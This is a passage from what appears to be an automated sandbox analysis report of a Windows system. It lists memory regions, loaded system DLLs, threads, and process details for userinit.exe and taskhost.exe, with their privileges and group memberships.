"\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10800 start_va = 0x7ffd19290000 end_va = 0x7ffd19298fff entry_point = 0x7ffd1929102c region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 10801 start_va = 0x19c0000 end_va = 0x19fffff entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 10802 start_va = 0x1a00000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 10803 start_va = 0x1a40000 end_va = 0x1a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a40000" filename = "" Region: id = 10804 start_va = 0x1a80000 end_va = 0x1b80fff entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 10805 start_va = 0x7ff668c16000 end_va = 0x7ff668c17fff entry_point = 0x0 region_type = private name = "private_0x00007ff668c16000" filename = "" Region: id = 10806 start_va = 0x7ff668c18000 end_va = 0x7ff668c19fff entry_point = 0x0 region_type = private name = "private_0x00007ff668c18000" filename = "" Region: id = 10807 start_va = 0x7ff668c1a000 end_va = 0x7ff668c1bfff entry_point = 0x0 region_type = private name = "private_0x00007ff668c1a000" filename = "" Region: id = 10808 start_va = 0x7ffd113d0000 end_va = 0x7ffd113e3fff entry_point = 0x7ffd113d0000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 10809 start_va = 0x7ffd1c040000 end_va = 0x7ffd1c05cfff entry_point = 0x7ffd1c042aec region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 10810 start_va = 0x7ffd113f0000 end_va = 0x7ffd114b8fff entry_point = 0x7ffd113f0000 region_type = mapped_file name = "win32spl.dll" filename = "\\Windows\\System32\\win32spl.dll" (normalized: "c:\\windows\\system32\\win32spl.dll") Region: id = 10811 start_va = 0x1380000 end_va = 0x1380fff entry_point = 0x1380000 region_type = mapped_file name = "c_printer.inf" filename = "\\Windows\\Inf\\c_printer.inf" (normalized: "c:\\windows\\inf\\c_printer.inf") Region: id = 10812 start_va = 0x1a80000 end_va = 0x1abffff entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 10813 start_va = 0x7ff668c14000 end_va = 0x7ff668c15fff entry_point = 0x0 region_type = private name = "private_0x00007ff668c14000" filename = "" Region: id = 10814 start_va = 0x7ffd113a0000 end_va = 0x7ffd113cbfff entry_point = 0x7ffd113a0000 region_type = mapped_file name = "inetpp.dll" filename = "\\Windows\\System32\\inetpp.dll" (normalized: "c:\\windows\\system32\\inetpp.dll") Region: id = 10815 start_va = 0x1ac0000 end_va = 0x1afffff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 10816 start_va = 0x7ff668c12000 end_va = 0x7ff668c13fff entry_point = 0x0 region_type = private name = "private_0x00007ff668c12000" filename = "" Region: id = 10817 start_va = 0x1380000 end_va = 0x1381fff entry_point = 0x1380000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 10818 start_va = 0x1b00000 end_va = 0x1b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 10819 start_va = 0x1b40000 end_va = 0x1b47fff entry_point = 0x1b40000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 10820 start_va = 0x7ff668c10000 end_va = 0x7ff668c11fff entry_point = 0x0 region_type = private name = "private_0x00007ff668c10000" filename = "" Region: id = 10821 start_va = 0x1380000 end_va = 0x1381fff entry_point = 0x1380000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 10822 start_va = 0x1b40000 end_va = 0x1b47fff entry_point = 0x1b40000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 10823 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 10824 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 10825 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 10826 start_va = 0x1940000 end_va = 0x197ffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 10827 start_va = 0x7ff668c1e000 end_va = 0x7ff668c1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff668c1e000" filename = "" Region: id = 10828 start_va = 0x7ffd152c0000 end_va = 0x7ffd152cffff entry_point = 0x7ffd152c10a0 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 10829 start_va = 0x1380000 end_va = 0x1380fff entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 10830 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10831 start_va = 0x1940000 end_va = 0x197ffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 10832 start_va = 0x7ff668c1e000 end_va = 0x7ff668c1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff668c1e000" filename = "" Region: id = 10833 start_va = 0x1ac0000 end_va = 0x1afffff entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 10834 start_va = 0x7ff668c12000 end_va = 0x7ff668c13fff entry_point = 0x0 region_type = private name = "private_0x00007ff668c12000" filename = "" Thread: id = 402 os_tid = 0x3d0 Thread: id = 407 os_tid = 0x134 Thread: id = 408 os_tid = 0x108 Thread: id = 410 os_tid = 0x410 Thread: id = 415 os_tid = 0x430 Thread: id = 941 os_tid = 0xbc8 Thread: id = 942 os_tid = 0xbcc Thread: id = 943 os_tid = 0xbd0 Thread: id = 944 os_tid = 0xbd4 Thread: id = 945 os_tid = 0xbd8 Thread: id = 946 os_tid = 0xbdc Thread: id = 947 os_tid = 0xbe0 Thread: id = 948 os_tid = 0xbe4 Thread: id = 951 os_tid = 0xbf0 Thread: id = 952 os_tid = 0xbf4 Thread: id = 953 os_tid = 0xbf8 Thread: id = 954 os_tid = 0xbfc Thread: id = 955 os_tid = 0x808 Thread: id = 956 os_tid = 0x80c Thread: id = 957 os_tid = 0x48c Thread: id = 1009 os_tid = 0x50c Process: id = "52" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x65887000" os_pid = "0x3f8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4656 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4657 start_va = 0x9582c0000 end_va = 0x9582dffff entry_point = 0x0 region_type = private name = "private_0x00000009582c0000" filename = "" Region: id = 4658 start_va = 0x9582e0000 end_va = 0x9582eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000009582e0000" filename = "" Region: id = 4659 start_va = 0x9582f0000 end_va = 0x95836ffff entry_point = 0x0 region_type = private name = "private_0x00000009582f0000" filename = "" Region: id = 4660 start_va = 0x958370000 end_va = 0x958373fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000958370000" filename = "" Region: id = 4661 start_va = 0x7ff788a40000 end_va = 0x7ff788a62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff788a40000" filename = "" Region: id = 4662 start_va = 0x7ff788a6a000 end_va = 0x7ff788a6afff entry_point = 0x0 region_type = private name = "private_0x00007ff788a6a000" filename = "" Region: id = 4663 start_va = 0x7ff788a6e000 end_va = 0x7ff788a6ffff entry_point = 0x0 region_type = private name = "private_0x00007ff788a6e000" filename = "" Region: id = 4664 start_va = 0x7ff788ea0000 end_va = 0x7ff788ea9fff entry_point = 0x7ff788ea0000 region_type = mapped_file name = "userinit.exe" filename = "\\Windows\\System32\\userinit.exe" (normalized: "c:\\windows\\system32\\userinit.exe") Region: id = 4665 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4667 start_va = 0x958380000 end_va = 0x958380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000958380000" filename = "" Region: id = 4668 start_va = 0x958390000 end_va = 0x958391fff entry_point = 0x0 region_type = private name = "private_0x0000000958390000" filename = "" Region: id = 4670 start_va = 0x958430000 end_va = 0x95852ffff entry_point = 0x0 region_type = private name = "private_0x0000000958430000" filename = "" Region: id = 4671 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4672 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4673 start_va = 0x9582c0000 end_va = 0x9582cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000009582c0000" filename = "" Region: id = 4674 start_va = 0x7ff788940000 end_va = 0x7ff788a3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff788940000" filename = "" Region: id = 4675 start_va = 0x9583a0000 end_va = 0x95841dfff entry_point = 0x9583a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4676 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4677 start_va = 0x958530000 end_va = 0x9586fffff entry_point = 0x0 region_type = private name = "private_0x0000000958530000" filename = "" Region: id = 4678 start_va = 0x9582d0000 end_va = 0x9582d6fff entry_point = 0x0 region_type = private name = "private_0x00000009582d0000" filename = "" Region: id = 4683 start_va = 0x7ffd17900000 end_va = 0x7ffd17908fff entry_point = 0x7ffd17900000 region_type = mapped_file name = "userinitext.dll" filename = "\\Windows\\System32\\userinitext.dll" (normalized: "c:\\windows\\system32\\userinitext.dll") Region: id = 4684 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4685 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4686 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4687 start_va = 0x958420000 end_va = 0x958426fff entry_point = 0x0 region_type = private name = "private_0x0000000958420000" filename = "" Region: id = 4688 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4689 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4717 start_va = 0x958530000 end_va = 0x9586b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000958530000" filename = "" Region: id = 4718 start_va = 0x9586f0000 end_va = 0x9586fffff entry_point = 0x0 region_type = private name = "private_0x00000009586f0000" filename = "" Region: id = 4719 start_va = 0x958700000 end_va = 0x958733fff entry_point = 0x958701030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4720 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4721 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4722 start_va = 0x958700000 end_va = 0x958880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000958700000" filename = "" Region: id = 4723 start_va = 0x958890000 end_va = 0x959c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000958890000" filename = "" Region: id = 4724 start_va = 0x9586c0000 end_va = 0x9586c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000009586c0000" filename = "" Region: id = 4725 start_va = 0x9586d0000 end_va = 0x9586d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000009586d0000" filename = "" Region: id = 4726 start_va = 0x9586e0000 end_va = 0x9586e0fff entry_point = 0x0 region_type = private name = "private_0x00000009586e0000" filename = "" Region: id = 4727 start_va = 0x959c90000 end_va = 0x95a089fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000959c90000" filename = "" Region: id = 4728 start_va = 0x95a090000 end_va = 0x95a090fff entry_point = 0x0 region_type = private name = "private_0x000000095a090000" filename = "" Region: id = 4729 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4730 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4731 start_va = 0x95a0a0000 end_va = 0x95a1affff entry_point = 0x0 region_type = private name = "private_0x000000095a0a0000" filename = "" Region: id = 4734 start_va = 0x95a0a0000 end_va = 0x95a0a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000095a0a0000" filename = "" Region: id = 4735 start_va = 0x95a1a0000 end_va = 0x95a1affff entry_point = 0x0 region_type = private name = "private_0x000000095a1a0000" filename = "" Region: id = 4736 start_va = 0x95a0a0000 end_va = 0x95a18ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000095a0a0000" filename = "" Region: id = 4737 start_va = 0x95a190000 end_va = 0x95a193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000095a190000" filename = "" Region: id = 4738 start_va = 0x95a1b0000 end_va = 0x95a1b6fff entry_point = 0x0 region_type = private name = "private_0x000000095a1b0000" filename = "" Region: id = 4791 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4792 start_va = 0x7ff640f40000 end_va = 0x7ff641175fff entry_point = 0x7ff640f40000 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 4817 start_va = 0x95a1c0000 end_va = 0x95a223fff entry_point = 0x95a1c0000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4822 start_va = 0x95a1c0000 end_va = 0x95a223fff entry_point = 0x95a1c0000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 6760 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6761 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6762 start_va = 0x7ffd1b9e0000 end_va = 0x7ffd1b9e8fff entry_point = 0x7ffd1b9e2258 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 6763 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6764 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Thread: id = 404 os_tid = 0x3fc Thread: id = 619 os_tid = 0x78c Process: id = "53" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x60f21000" os_pid = "0x234" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "taskhost.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\MsKeyboardFilter" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000abd2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4745 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4746 start_va = 0xc25ce80000 end_va = 0xc25ce9ffff entry_point = 0x0 region_type = private name = "private_0x000000c25ce80000" filename = "" Region: id = 4747 start_va = 0xc25cea0000 end_va = 0xc25ceaefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25cea0000" filename = "" Region: id = 4748 start_va = 0xc25ceb0000 end_va = 0xc25cf2ffff entry_point = 0x0 region_type = private name = "private_0x000000c25ceb0000" filename = "" Region: id = 4749 start_va = 0xc25cf30000 end_va = 0xc25cf33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25cf30000" filename = "" Region: id = 4750 start_va = 0x7ff7f4090000 end_va = 0x7ff7f40b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f4090000" filename = "" Region: id = 4751 start_va = 0x7ff7f40b7000 end_va = 0x7ff7f40b7fff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40b7000" filename = "" Region: id = 4752 start_va = 0x7ff7f40be000 end_va = 0x7ff7f40bffff entry_point = 0x0 region_type = private name = "private_0x00007ff7f40be000" filename = "" Region: id = 4753 start_va = 0x7ff7f4a20000 end_va = 0x7ff7f4a35fff entry_point = 0x7ff7f4a20000 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 4754 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4757 start_va = 0xc25cf40000 end_va = 0xc25cf40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25cf40000" filename = "" Region: id = 4758 start_va = 0xc25cf50000 end_va = 0xc25cf51fff entry_point = 0x0 region_type = private name = "private_0x000000c25cf50000" filename = "" Region: id = 5853 start_va = 0xc25d010000 end_va = 0xc25d10ffff entry_point = 0x0 region_type = private name = "private_0x000000c25d010000" filename = "" Region: id = 5854 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5855 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5862 start_va = 0xc25ce80000 end_va = 0xc25ce8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25ce80000" filename = "" Region: id = 5863 start_va = 0x7ff7f3f90000 end_va = 0x7ff7f408ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7f3f90000" filename = "" Region: id = 5864 start_va = 0xc25cf60000 end_va = 0xc25cfddfff entry_point = 0xc25cf60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5865 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5866 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5867 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5868 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5869 start_va = 0xc25d110000 end_va = 0xc25d2dffff entry_point = 0x0 region_type = private name = "private_0x000000c25d110000" filename = "" Region: id = 5870 start_va = 0xc25ce90000 end_va = 0xc25ce96fff entry_point = 0x0 region_type = private name = "private_0x000000c25ce90000" filename = "" Region: id = 5871 start_va = 0xc25d110000 end_va = 0xc25d286fff entry_point = 0xc25d1110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5872 start_va = 0xc25d2d0000 end_va = 0xc25d2dffff entry_point = 0x0 region_type = private name = "private_0x000000c25d2d0000" filename = "" Region: id = 5873 start_va = 0xc25d110000 end_va = 0xc25d1c9fff entry_point = 0xc25d13c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5874 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5875 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5876 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5877 start_va = 0xc25cfe0000 end_va = 0xc25cfe6fff entry_point = 0x0 region_type = private name = "private_0x000000c25cfe0000" filename = "" Region: id = 5878 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5879 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5880 start_va = 0xc25d110000 end_va = 0xc25d297fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25d110000" filename = "" Region: id = 5881 start_va = 0xc25d2e0000 end_va = 0xc25d460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25d2e0000" filename = "" Region: id = 5882 start_va = 0xc25d470000 end_va = 0xc25d52ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25d470000" filename = "" Region: id = 5883 start_va = 0xc25cff0000 end_va = 0xc25cff2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25cff0000" filename = "" Region: id = 5884 start_va = 0xc25d000000 end_va = 0xc25d000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c25d000000" filename = "" Region: id = 5885 start_va = 0xc25d2a0000 end_va = 0xc25d2a0fff entry_point = 0xc25d2a0000 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 6193 start_va = 0xc25d2b0000 end_va = 0xc25d2b0fff entry_point = 0x0 region_type = private name = "private_0x000000c25d2b0000" filename = "" Region: id = 6194 start_va = 0xc25d2c0000 end_va = 0xc25d2c0fff entry_point = 0x0 region_type = private name = "private_0x000000c25d2c0000" filename = "" Region: id = 7595 start_va = 0x7ffd1d7d0000 end_va = 